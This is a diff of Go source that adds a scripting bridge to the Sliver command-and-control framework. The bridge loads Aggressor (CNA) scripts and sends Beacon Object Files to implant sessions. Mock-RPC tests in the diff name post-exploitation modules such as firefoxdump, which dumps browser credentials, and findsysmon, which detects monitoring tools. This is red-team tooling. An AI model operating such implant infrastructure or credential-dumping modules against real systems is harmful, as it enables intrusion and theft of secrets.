parsedArguments := make([]string, len(arguments))
|
||||
copy(parsedArguments, arguments)
|
||||
_, err := manager.runtime.InvokeConsole(ctx, opforengine.ConsoleInvocation{
|
||||
Kind: opforengine.BindingAlias,
|
||||
Name: name,
|
||||
RawInput: rawInput,
|
||||
ParsedArguments: parsedArguments,
|
||||
SessionID: opforengine.String(targetID),
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func errorsNewTargetRequired(name string) error {
|
||||
return fmt.Errorf("opfor: alias %q requires an active target", name)
|
||||
}
|
||||
|
||||
func commandTimeoutContext(command *cobra.Command) (context.Context, context.CancelFunc, error) {
|
||||
return commandTimeoutContextWithOverride(command, 0)
|
||||
}
|
||||
|
||||
func commandTimeoutContextWithOverride(command *cobra.Command, override time.Duration) (context.Context, context.CancelFunc, error) {
|
||||
parent := context.Background()
|
||||
if command != nil && command.Context() != nil {
|
||||
parent = command.Context()
|
||||
}
|
||||
timeout, err := configuredCommandTimeout(command)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if override > 0 {
|
||||
timeout = override
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(parent, timeout)
|
||||
return ctx, cancel, nil
|
||||
}
|
||||
|
||||
func configuredCommandTimeout(command *cobra.Command) (time.Duration, error) {
|
||||
if command == nil {
|
||||
return aliasInvocationTimeout, nil
|
||||
}
|
||||
flag := command.Flag("timeout")
|
||||
if flag == nil {
|
||||
return aliasInvocationTimeout, nil
|
||||
}
|
||||
return parseAliasTimeout(flag.Value.String())
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build !client
|
||||
|
||||
package opfor
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// Commands is unavailable in builds which do not include the client tag.
|
||||
func Commands(_ *console.SliverClient) []*cobra.Command { return nil }
|
||||
|
||||
// ServerCommands is unavailable in builds which do not include the client tag.
|
||||
func ServerCommands(_ *console.SliverClient) []*cobra.Command { return nil }
|
||||
|
||||
// RegisterCommands is a no-op outside client builds.
|
||||
func RegisterCommands(_ *cobra.Command, _ *console.SliverClient) {}
|
||||
@@ -0,0 +1,299 @@
|
||||
//go:build client
|
||||
|
||||
package opfor
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type corpusRPC struct {
|
||||
rpcpb.SliverRPCClient
|
||||
|
||||
mu sync.Mutex
|
||||
sessions []*clientpb.Session
|
||||
calls []*sliverpb.CallExtensionReq
|
||||
}
|
||||
|
||||
func (rpc *corpusRPC) GetSessions(context.Context, *commonpb.Empty, ...grpc.CallOption) (*clientpb.Sessions, error) {
|
||||
return &clientpb.Sessions{Sessions: rpc.sessions}, nil
|
||||
}
|
||||
|
||||
func (*corpusRPC) GetBeacons(context.Context, *commonpb.Empty, ...grpc.CallOption) (*clientpb.Beacons, error) {
|
||||
return &clientpb.Beacons{}, nil
|
||||
}
|
||||
|
||||
func (*corpusRPC) GetBeaconTaskContent(context.Context, *clientpb.BeaconTask, ...grpc.CallOption) (*clientpb.BeaconTask, error) {
|
||||
return nil, fmt.Errorf("unexpected beacon task poll in session corpus test")
|
||||
}
|
||||
|
||||
func (rpc *corpusRPC) CallExtension(_ context.Context, request *sliverpb.CallExtensionReq, _ ...grpc.CallOption) (*sliverpb.CallExtension, error) {
|
||||
rpc.mu.Lock()
|
||||
rpc.calls = append(rpc.calls, proto.Clone(request).(*sliverpb.CallExtensionReq))
|
||||
rpc.mu.Unlock()
|
||||
return &sliverpb.CallExtension{Response: &commonpb.Response{}}, nil
|
||||
}
|
||||
|
||||
func (rpc *corpusRPC) snapshotCalls() []*sliverpb.CallExtensionReq {
|
||||
rpc.mu.Lock()
|
||||
defer rpc.mu.Unlock()
|
||||
return append([]*sliverpb.CallExtensionReq(nil), rpc.calls...)
|
||||
}
|
||||
|
||||
type corpusPromptUI struct{}
|
||||
|
||||
func (corpusPromptUI) Confirm(_ string, defaultValue bool) (bool, error) {
|
||||
return defaultValue, nil
|
||||
}
|
||||
|
||||
func (corpusPromptUI) Input(_ string, defaultValue string) (string, error) {
|
||||
return defaultValue, nil
|
||||
}
|
||||
|
||||
type corpusOutput struct{}
|
||||
|
||||
func (corpusOutput) Printf(string, ...any) {}
|
||||
func (corpusOutput) PrintInfof(string, ...any) {}
|
||||
func (corpusOutput) PrintSuccessf(string, ...any) {}
|
||||
func (corpusOutput) PrintErrorf(string, ...any) {}
|
||||
|
||||
func newCorpusManager(t *testing.T, rpc rpcpb.SliverRPCClient) *Manager {
|
||||
t.Helper()
|
||||
|
||||
client := console.NewConsole(false)
|
||||
client.Rpc = rpc
|
||||
manager, err := newManagerWithOutput(client, corpusPromptUI{}, corpusOutput{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_ = manager.runtime.Close(context.Background())
|
||||
})
|
||||
return manager
|
||||
}
|
||||
|
||||
func materializeCorpusScript(t *testing.T, fixture, scriptName, objectPath string, object []byte) string {
|
||||
t.Helper()
|
||||
|
||||
source, err := os.ReadFile(filepath.Join("testdata", "corpus", filepath.FromSlash(fixture)))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
root := t.TempDir()
|
||||
scriptPath := filepath.Join(root, scriptName)
|
||||
if err := os.WriteFile(scriptPath, source, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
resourcePath := filepath.Join(root, filepath.FromSlash(objectPath))
|
||||
if err := os.MkdirAll(filepath.Dir(resourcePath), 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(resourcePath, object, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return scriptPath
|
||||
}
|
||||
|
||||
func expectedStringArguments(value string) []byte {
|
||||
payload := make([]byte, 4+len(value)+1)
|
||||
payload[0] = byte(len(value) + 1)
|
||||
payload[1] = byte((len(value) + 1) >> 8)
|
||||
payload[2] = byte((len(value) + 1) >> 16)
|
||||
payload[3] = byte((len(value) + 1) >> 24)
|
||||
copy(payload[4:], value)
|
||||
arguments := make([]byte, 4+len(payload))
|
||||
arguments[0] = byte(len(payload))
|
||||
arguments[1] = byte(len(payload) >> 8)
|
||||
arguments[2] = byte(len(payload) >> 16)
|
||||
arguments[3] = byte(len(payload) >> 24)
|
||||
copy(arguments[4:], payload)
|
||||
return arguments
|
||||
}
|
||||
|
||||
func TestSliverArmoryCNACorpusPinnedHashes(t *testing.T) {
|
||||
fixtures := []struct {
|
||||
path string
|
||||
sha256 string
|
||||
}{
|
||||
{
|
||||
path: "bof_collection/cat.cna",
|
||||
sha256: "94c7bcaae209a6355dcc8c126019f6e19a681173680955166b8c30cf97fc66f7",
|
||||
},
|
||||
{
|
||||
path: "firefoxdump/firefoxdump.cna",
|
||||
sha256: "c8c9ef28675d16dd1c8786f055c08ce2096eb0fedb16fad68b78f22c81b1bbde",
|
||||
},
|
||||
{
|
||||
path: "operatorskit/finddotnet.cna",
|
||||
sha256: "897dbee453ed504be7e9ace1229e7070f131a9351fb09a723629dd8e0337aa03",
|
||||
},
|
||||
{
|
||||
path: "operatorskit/findsysmon.cna",
|
||||
sha256: "1579dcca9e1c0ab7b20a646ff2db7705e05468c067a8ed6b3c35b553f10458d7",
|
||||
},
|
||||
}
|
||||
|
||||
for _, fixture := range fixtures {
|
||||
fixture := fixture
|
||||
t.Run(fixture.path, func(t *testing.T) {
|
||||
content, err := os.ReadFile(filepath.Join("testdata", "corpus", filepath.FromSlash(fixture.path)))
|
||||
if err != nil {
|
||||
t.Fatalf("read pinned corpus fixture: %v", err)
|
||||
}
|
||||
digest := fmt.Sprintf("%x", sha256.Sum256(content))
|
||||
if digest != fixture.sha256 {
|
||||
t.Fatalf("SHA-256 = %s, want %s", digest, fixture.sha256)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
type corpusDispatchTest struct {
|
||||
name string
|
||||
fixture string
|
||||
scriptName string
|
||||
objectPath string
|
||||
alias string
|
||||
arguments []string
|
||||
packedString *string
|
||||
objectContent []byte
|
||||
}
|
||||
|
||||
func TestSliverArmoryCNACorpusDispatchesBOFs(t *testing.T) {
|
||||
tests := []corpusDispatchTest{
|
||||
{
|
||||
name: "FirefoxDump all",
|
||||
fixture: "firefoxdump/firefoxdump.cna",
|
||||
scriptName: "firefoxdump.cna",
|
||||
objectPath: "bin/firefoxdump.x64.o",
|
||||
alias: "firefoxdump",
|
||||
arguments: []string{"/all"},
|
||||
packedString: stringPointer("/all"),
|
||||
objectContent: []byte("firefoxdump-x64-object"),
|
||||
},
|
||||
{
|
||||
name: "bof_collection cat path with spaces",
|
||||
fixture: "bof_collection/cat.cna",
|
||||
scriptName: "cat.cna",
|
||||
objectPath: "dist/cat.x64.o",
|
||||
alias: "cat",
|
||||
arguments: []string{`C:\Program`, `Files\notes.txt`},
|
||||
packedString: stringPointer(`C:\Program Files\notes.txt`),
|
||||
objectContent: []byte("cat-x64-object"),
|
||||
},
|
||||
{
|
||||
name: "OperatorsKit FindDotnet no arguments",
|
||||
fixture: "operatorskit/finddotnet.cna",
|
||||
scriptName: "finddotnet.cna",
|
||||
objectPath: "finddotnet.o",
|
||||
alias: "finddotnet",
|
||||
objectContent: []byte("finddotnet-x64-object"),
|
||||
},
|
||||
{
|
||||
name: "OperatorsKit FindSysmon registry",
|
||||
fixture: "operatorskit/findsysmon.cna",
|
||||
scriptName: "findsysmon.cna",
|
||||
objectPath: "findsysmon.o",
|
||||
alias: "findsysmon",
|
||||
arguments: []string{"reg"},
|
||||
packedString: stringPointer("reg"),
|
||||
objectContent: []byte("findsysmon-x64-object"),
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) { runCorpusDispatchTest(t, test) })
|
||||
}
|
||||
}
|
||||
|
||||
func runCorpusDispatchTest(t *testing.T, test corpusDispatchTest) {
|
||||
t.Helper()
|
||||
session := &clientpb.Session{
|
||||
ID: "session-corpus",
|
||||
Name: "corpus",
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Capabilities: sliverpb.CapabilityBOFV1,
|
||||
}
|
||||
rpc := &corpusRPC{sessions: []*clientpb.Session{session}}
|
||||
manager := newCorpusManager(t, rpc)
|
||||
scriptPath := materializeCorpusScript(
|
||||
t, test.fixture, test.scriptName, test.objectPath, test.objectContent,
|
||||
)
|
||||
|
||||
loadedPath, err := manager.Load(context.Background(), scriptPath)
|
||||
if err != nil {
|
||||
t.Fatalf("load pinned %s fixture: %v", test.fixture, err)
|
||||
}
|
||||
if loadedPath != scriptPath {
|
||||
t.Fatalf("loaded path = %q, want %q", loadedPath, scriptPath)
|
||||
}
|
||||
assertCorpusAliases(t, manager.aliasNames(), test.alias)
|
||||
|
||||
rawInput := strings.Join(append([]string{test.alias}, test.arguments...), " ")
|
||||
if err := manager.invokeAlias(context.Background(), test.alias, rawInput, test.arguments, session.ID); err != nil {
|
||||
t.Fatalf("invoke %s: %v", test.alias, err)
|
||||
}
|
||||
|
||||
calls := rpc.snapshotCalls()
|
||||
if len(calls) != 1 {
|
||||
t.Fatalf("CallExtension calls = %d, want 1", len(calls))
|
||||
}
|
||||
assertCorpusCall(t, calls[0], test, session.ID)
|
||||
|
||||
if _, err := manager.Unload(context.Background(), scriptPath); err != nil {
|
||||
t.Fatalf("unload %s: %v", test.alias, err)
|
||||
}
|
||||
if names := manager.aliasNames(); len(names) != 0 {
|
||||
t.Fatalf("aliases after unload = %v, want none", names)
|
||||
}
|
||||
}
|
||||
|
||||
func assertCorpusAliases(t *testing.T, names []string, want string) {
|
||||
t.Helper()
|
||||
if len(names) != 1 || names[0] != want {
|
||||
t.Fatalf("registered aliases = %v, want [%s]", names, want)
|
||||
}
|
||||
}
|
||||
|
||||
func assertCorpusCall(t *testing.T, call *sliverpb.CallExtensionReq, test corpusDispatchTest, sessionID string) {
|
||||
t.Helper()
|
||||
if !call.IsBOF || call.Export != "go" {
|
||||
t.Fatalf("CallExtension BOF/export = %v/%q, want true/go", call.IsBOF, call.Export)
|
||||
}
|
||||
if !bytes.Equal(call.BOFData, test.objectContent) {
|
||||
t.Fatalf("CallExtension BOF bytes = %q, want %q", call.BOFData, test.objectContent)
|
||||
}
|
||||
wantArguments := []byte{0, 0, 0, 0}
|
||||
if test.packedString != nil {
|
||||
wantArguments = expectedStringArguments(*test.packedString)
|
||||
}
|
||||
if !bytes.Equal(call.Args, wantArguments) {
|
||||
t.Fatalf("CallExtension args = %x, want Reflektor framing %x", call.Args, wantArguments)
|
||||
}
|
||||
if call.GetRequest().GetSessionID() != sessionID || call.GetRequest().GetAsync() {
|
||||
t.Fatalf("CallExtension request = %#v, want synchronous session %s", call.GetRequest(), sessionID)
|
||||
}
|
||||
if len(call.Name) != 64 {
|
||||
t.Fatalf("CallExtension name digest length = %d, want 64", len(call.Name))
|
||||
}
|
||||
}
|
||||
|
||||
func stringPointer(value string) *string {
|
||||
return &value
|
||||
}
|
||||
@@ -0,0 +1,416 @@
|
||||
//go:build client
|
||||
|
||||
package opfor
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
opforengine "github.com/sliverarmory/opfor"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// Manager owns one long-lived OPFOR runtime for a Sliver client. Keeping the
|
||||
// runtime alive is important: CNA aliases, hooks, and callbacks are scoped to
|
||||
// the Script returned by Runtime.Load.
|
||||
type Manager struct {
|
||||
client *console.SliverClient
|
||||
output clientOutput
|
||||
|
||||
runtime *opforengine.Runtime
|
||||
ui promptUI
|
||||
|
||||
loadMu sync.Mutex
|
||||
commandMu sync.Mutex
|
||||
promptMu sync.Mutex
|
||||
mu sync.RWMutex
|
||||
scripts map[string]*opforengine.Script
|
||||
aliases map[string][]opforengine.Binding
|
||||
roots map[*cobra.Command]map[string]*cobra.Command
|
||||
}
|
||||
|
||||
type managerEntry struct {
|
||||
manager *Manager
|
||||
err error
|
||||
}
|
||||
|
||||
const oneShotRuntimeCloseTimeout = 5 * time.Second
|
||||
|
||||
var (
|
||||
clientManagersMu sync.Mutex
|
||||
clientManagers = map[*console.SliverClient]managerEntry{}
|
||||
)
|
||||
|
||||
func managerFor(client *console.SliverClient) (*Manager, error) {
|
||||
if client == nil {
|
||||
return nil, errors.New("opfor: Sliver client is nil")
|
||||
}
|
||||
|
||||
clientManagersMu.Lock()
|
||||
defer clientManagersMu.Unlock()
|
||||
if entry, found := clientManagers[client]; found {
|
||||
return entry.manager, entry.err
|
||||
}
|
||||
|
||||
manager, err := newManager(client, formsPromptUI{})
|
||||
clientManagers[client] = managerEntry{manager: manager, err: err}
|
||||
return manager, err
|
||||
}
|
||||
|
||||
func newManager(client *console.SliverClient, ui promptUI) (*Manager, error) {
|
||||
return newManagerWithOutput(client, ui, client)
|
||||
}
|
||||
|
||||
func newManagerWithOutput(client *console.SliverClient, ui promptUI, output clientOutput) (*Manager, error) {
|
||||
if client == nil {
|
||||
return nil, errors.New("opfor: Sliver client is nil")
|
||||
}
|
||||
if ui == nil {
|
||||
return nil, errors.New("opfor: prompt UI is nil")
|
||||
}
|
||||
if output == nil {
|
||||
return nil, errors.New("opfor: output sink is nil")
|
||||
}
|
||||
|
||||
manager := &Manager{
|
||||
client: client,
|
||||
output: output,
|
||||
ui: ui,
|
||||
scripts: map[string]*opforengine.Script{},
|
||||
aliases: map[string][]opforengine.Binding{},
|
||||
roots: map[*cobra.Command]map[string]*cobra.Command{},
|
||||
}
|
||||
|
||||
runtime, err := manager.newRuntime(true)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("opfor: create runtime: %w", err)
|
||||
}
|
||||
manager.runtime = runtime
|
||||
return manager, nil
|
||||
}
|
||||
|
||||
func (manager *Manager) newRuntime(observeBindings bool) (*opforengine.Runtime, error) {
|
||||
stdout := clientWriter{output: manager.output}
|
||||
stderr := clientWriter{output: manager.output, stderr: true}
|
||||
options := []opforengine.Option{
|
||||
opforengine.WithBOFPackByteOrder(opforengine.BOFPackLittleEndian),
|
||||
opforengine.WithAggressorBeaconExecutionProvider(
|
||||
opforengine.AggressorBeaconExecutionProviderFunc(manager.executeBeacon),
|
||||
),
|
||||
opforengine.WithAggressorSessionQueryProvider(
|
||||
opforengine.AggressorSessionQueryProviderFunc(manager.querySession),
|
||||
),
|
||||
opforengine.WithAggressorBeaconTranscriptSink(
|
||||
opforengine.AggressorBeaconTranscriptSinkFunc(manager.publishTranscript),
|
||||
),
|
||||
opforengine.WithAggressorPromptProvider(
|
||||
opforengine.AggressorPromptProviderFunc(manager.presentPrompt),
|
||||
),
|
||||
opforengine.WithStdout(stdout),
|
||||
opforengine.WithStderr(stderr),
|
||||
}
|
||||
if observeBindings {
|
||||
options = append(options, opforengine.WithBindingObserver(manager))
|
||||
}
|
||||
return opforengine.New(options...)
|
||||
}
|
||||
|
||||
// Registered observes declarations published by loaded scripts. Only Beacon
|
||||
// aliases become Sliver commands; other binding families remain available to
|
||||
// OPFOR internally for hooks, events, and callback composition.
|
||||
func (manager *Manager) Registered(_ context.Context, binding opforengine.Binding) error {
|
||||
if binding.Kind != opforengine.BindingAlias {
|
||||
return nil
|
||||
}
|
||||
manager.mu.Lock()
|
||||
manager.aliases[binding.Name] = append(manager.aliases[binding.Name], binding)
|
||||
manager.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unregistered removes the exact binding generation which retired. An older
|
||||
// alias with the same name remains visible when scripts were layered.
|
||||
func (manager *Manager) Unregistered(_ context.Context, binding opforengine.Binding) error {
|
||||
if binding.Kind != opforengine.BindingAlias {
|
||||
return nil
|
||||
}
|
||||
manager.mu.Lock()
|
||||
bindings := manager.aliases[binding.Name]
|
||||
for index := len(bindings) - 1; index >= 0; index-- {
|
||||
if bindings[index].ID == binding.ID && bindings[index].Script == binding.Script {
|
||||
bindings = append(bindings[:index], bindings[index+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(bindings) == 0 {
|
||||
delete(manager.aliases, binding.Name)
|
||||
} else {
|
||||
manager.aliases[binding.Name] = bindings
|
||||
}
|
||||
manager.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Load compiles and executes a CNA, retaining its registrations until unload.
|
||||
func (manager *Manager) Load(ctx context.Context, path string) (string, error) {
|
||||
absolute, content, err := readCNAFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
manager.loadMu.Lock()
|
||||
defer manager.loadMu.Unlock()
|
||||
|
||||
manager.mu.RLock()
|
||||
_, exists := manager.scripts[absolute]
|
||||
manager.mu.RUnlock()
|
||||
if exists {
|
||||
return "", fmt.Errorf("opfor: script is already loaded: %s", absolute)
|
||||
}
|
||||
|
||||
program, err := manager.runtime.Compile(opforengine.NewSource(absolute, content))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("opfor: compile %s: %w", absolute, err)
|
||||
}
|
||||
script, err := manager.runtime.Load(ctx, program)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("opfor: load %s: %w", absolute, err)
|
||||
}
|
||||
|
||||
manager.mu.Lock()
|
||||
manager.scripts[absolute] = script
|
||||
manager.mu.Unlock()
|
||||
manager.syncAllRoots()
|
||||
return absolute, nil
|
||||
}
|
||||
|
||||
// Check compiles a CNA without creating a Script or executing top-level code.
|
||||
// Standalone compilation intentionally mirrors the OPFOR CLI check command and
|
||||
// avoids charging the long-lived Sliver runtime's source budget.
|
||||
func (manager *Manager) Check(path string) (string, error) {
|
||||
absolute, _, err := compileCNAFile(path)
|
||||
return absolute, err
|
||||
}
|
||||
|
||||
// Run executes a CNA once with arguments exposed through Sleep's @ARGV. Any
|
||||
// aliases, hooks, callbacks, or events registered by the script are retired
|
||||
// before this method returns, matching the OPFOR CLI run command.
|
||||
func (manager *Manager) Run(ctx context.Context, path string, arguments []string) (string, error) {
|
||||
absolute, program, err := compileCNAFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
values := make([]opforengine.Value, len(arguments))
|
||||
for index, argument := range arguments {
|
||||
values[index] = opforengine.String(argument)
|
||||
}
|
||||
|
||||
// A one-shot runtime matches the standalone OPFOR CLI and prevents
|
||||
// temporary registrations from becoming visible to the persistent Sliver
|
||||
// manager. It retains all Sliver providers but deliberately omits the
|
||||
// binding observer used to publish persistent aliases.
|
||||
runtime, err := manager.newRuntime(false)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("opfor: create runtime: %w", err)
|
||||
}
|
||||
_, executeErr := runtime.Execute(ctx, program, values...)
|
||||
closeCtx, cancel := context.WithTimeout(context.Background(), oneShotRuntimeCloseTimeout)
|
||||
closeErr := runtime.Close(closeCtx)
|
||||
cancel()
|
||||
if executeErr != nil || closeErr != nil {
|
||||
var runErr error
|
||||
if executeErr != nil {
|
||||
runErr = fmt.Errorf("opfor: execute %s: %w", absolute, executeErr)
|
||||
}
|
||||
if closeErr != nil {
|
||||
runErr = errors.Join(runErr, fmt.Errorf("opfor: close runtime: %w", closeErr))
|
||||
}
|
||||
return "", runErr
|
||||
}
|
||||
return absolute, nil
|
||||
}
|
||||
|
||||
// Unload retires a loaded CNA and all registrations owned by that script.
|
||||
func (manager *Manager) Unload(ctx context.Context, path string) (string, error) {
|
||||
manager.loadMu.Lock()
|
||||
defer manager.loadMu.Unlock()
|
||||
|
||||
absolute, script, err := manager.findScript(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := script.Unload(ctx); err != nil {
|
||||
return "", fmt.Errorf("opfor: unload %s: %w", absolute, err)
|
||||
}
|
||||
manager.mu.Lock()
|
||||
delete(manager.scripts, absolute)
|
||||
manager.mu.Unlock()
|
||||
manager.syncAllRoots()
|
||||
return absolute, nil
|
||||
}
|
||||
|
||||
func (manager *Manager) findScript(path string) (string, *opforengine.Script, error) {
|
||||
absolute, absoluteErr := filepath.Abs(path)
|
||||
if absoluteErr == nil {
|
||||
absolute = filepath.Clean(absolute)
|
||||
}
|
||||
|
||||
manager.mu.RLock()
|
||||
defer manager.mu.RUnlock()
|
||||
if absoluteErr == nil {
|
||||
if script := manager.scripts[absolute]; script != nil {
|
||||
return absolute, script, nil
|
||||
}
|
||||
}
|
||||
|
||||
base := filepath.Base(path)
|
||||
var matchedPath string
|
||||
var matchedScript *opforengine.Script
|
||||
for candidate, script := range manager.scripts {
|
||||
if filepath.Base(candidate) != base {
|
||||
continue
|
||||
}
|
||||
if matchedScript != nil {
|
||||
return "", nil, fmt.Errorf("opfor: script name %q is ambiguous; use an absolute path", path)
|
||||
}
|
||||
matchedPath, matchedScript = candidate, script
|
||||
}
|
||||
if matchedScript == nil {
|
||||
return "", nil, fmt.Errorf("opfor: script is not loaded: %s", path)
|
||||
}
|
||||
return matchedPath, matchedScript, nil
|
||||
}
|
||||
|
||||
// Paths returns the sorted absolute paths of all loaded CNA scripts.
|
||||
func (manager *Manager) Paths() []string {
|
||||
manager.mu.RLock()
|
||||
paths := make([]string, 0, len(manager.scripts))
|
||||
for path := range manager.scripts {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
manager.mu.RUnlock()
|
||||
sort.Strings(paths)
|
||||
return paths
|
||||
}
|
||||
|
||||
func (manager *Manager) aliasNames() []string {
|
||||
manager.mu.RLock()
|
||||
names := make([]string, 0, len(manager.aliases))
|
||||
for name, bindings := range manager.aliases {
|
||||
if len(bindings) != 0 {
|
||||
names = append(names, name)
|
||||
}
|
||||
}
|
||||
manager.mu.RUnlock()
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func (manager *Manager) aliasBindingCounts() map[string]int {
|
||||
manager.mu.RLock()
|
||||
counts := make(map[string]int, len(manager.aliases))
|
||||
for name, bindings := range manager.aliases {
|
||||
if len(bindings) != 0 {
|
||||
counts[name] = len(bindings)
|
||||
}
|
||||
}
|
||||
manager.mu.RUnlock()
|
||||
return counts
|
||||
}
|
||||
|
||||
func (manager *Manager) hasAlias(name string) bool {
|
||||
manager.mu.RLock()
|
||||
defer manager.mu.RUnlock()
|
||||
return len(manager.aliases[name]) != 0
|
||||
}
|
||||
|
||||
func (manager *Manager) aliasMetadata(name string) (opforengine.AggressorCommandMetadata, error) {
|
||||
if reservedManagementAlias(name) || !manager.hasAlias(name) {
|
||||
return opforengine.AggressorCommandMetadata{}, fmt.Errorf("opfor: unknown CNA alias %q", name)
|
||||
}
|
||||
catalog, err := manager.runtime.SnapshotAggressorCommandCatalog(opforengine.AggressorCommandBeacon)
|
||||
if err != nil {
|
||||
return opforengine.AggressorCommandMetadata{}, fmt.Errorf("opfor: snapshot Beacon command help: %w", err)
|
||||
}
|
||||
for _, metadata := range catalog.Commands {
|
||||
if metadata.Name == name {
|
||||
return metadata, nil
|
||||
}
|
||||
}
|
||||
return opforengine.AggressorCommandMetadata{Name: name}, nil
|
||||
}
|
||||
|
||||
func absoluteCNAPath(path string) (string, error) {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
return "", errors.New("opfor: CNA script path is empty")
|
||||
}
|
||||
absolute, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("opfor: resolve %s: %w", path, err)
|
||||
}
|
||||
absolute = filepath.Clean(absolute)
|
||||
if !strings.EqualFold(filepath.Ext(absolute), ".cna") {
|
||||
return "", fmt.Errorf("opfor: script must have a .cna extension: %s", absolute)
|
||||
}
|
||||
return absolute, nil
|
||||
}
|
||||
|
||||
func readCNAFile(path string) (string, []byte, error) {
|
||||
absolute, err := absoluteCNAPath(path)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
content, err := os.ReadFile(absolute)
|
||||
if err != nil {
|
||||
return "", nil, fmt.Errorf("opfor: read %s: %w", absolute, err)
|
||||
}
|
||||
return absolute, content, nil
|
||||
}
|
||||
|
||||
func compileCNAFile(path string) (string, *opforengine.Program, error) {
|
||||
absolute, content, err := readCNAFile(path)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
program, err := opforengine.Compile(opforengine.NewSource(absolute, content))
|
||||
if err != nil {
|
||||
return "", nil, fmt.Errorf("opfor: compile %s: %w", absolute, err)
|
||||
}
|
||||
return absolute, program, nil
|
||||
}
|
||||
|
||||
type clientWriter struct {
|
||||
output clientOutput
|
||||
stderr bool
|
||||
}
|
||||
|
||||
func (writer clientWriter) Write(data []byte) (int, error) {
|
||||
if writer.output == nil || len(data) == 0 {
|
||||
return len(data), nil
|
||||
}
|
||||
if writer.stderr {
|
||||
writer.output.PrintErrorf("%s", data)
|
||||
} else {
|
||||
writer.output.Printf("%s", data)
|
||||
}
|
||||
return len(data), nil
|
||||
}
|
||||
|
||||
type clientOutput interface {
|
||||
Printf(string, ...any)
|
||||
PrintInfof(string, ...any)
|
||||
PrintSuccessf(string, ...any)
|
||||
PrintErrorf(string, ...any)
|
||||
}
|
||||
|
||||
var _ io.Writer = clientWriter{}
|
||||
var _ opforengine.BindingObserver = (*Manager)(nil)
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,498 @@
|
||||
//go:build client
|
||||
|
||||
package opfor
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
opforengine "github.com/sliverarmory/opfor"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
beaconTaskPollInterval = 250 * time.Millisecond
|
||||
bofRequestFallback = 59 * time.Second
|
||||
bofRequestDeadlineMargin = time.Second
|
||||
|
||||
bofOutputDefault = int32(0x00)
|
||||
bofOutputError = int32(0x0d)
|
||||
)
|
||||
|
||||
type opforRPC interface {
|
||||
GetSessions(context.Context, *commonpb.Empty, ...grpc.CallOption) (*clientpb.Sessions, error)
|
||||
GetBeacons(context.Context, *commonpb.Empty, ...grpc.CallOption) (*clientpb.Beacons, error)
|
||||
GetBeaconTaskContent(context.Context, *clientpb.BeaconTask, ...grpc.CallOption) (*clientpb.BeaconTask, error)
|
||||
CallExtension(context.Context, *sliverpb.CallExtensionReq, ...grpc.CallOption) (*sliverpb.CallExtension, error)
|
||||
}
|
||||
|
||||
var _ opforRPC = (rpcpb.SliverRPCClient)(nil)
|
||||
|
||||
type resolvedTarget struct {
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
}
|
||||
|
||||
func (target resolvedTarget) id() string {
|
||||
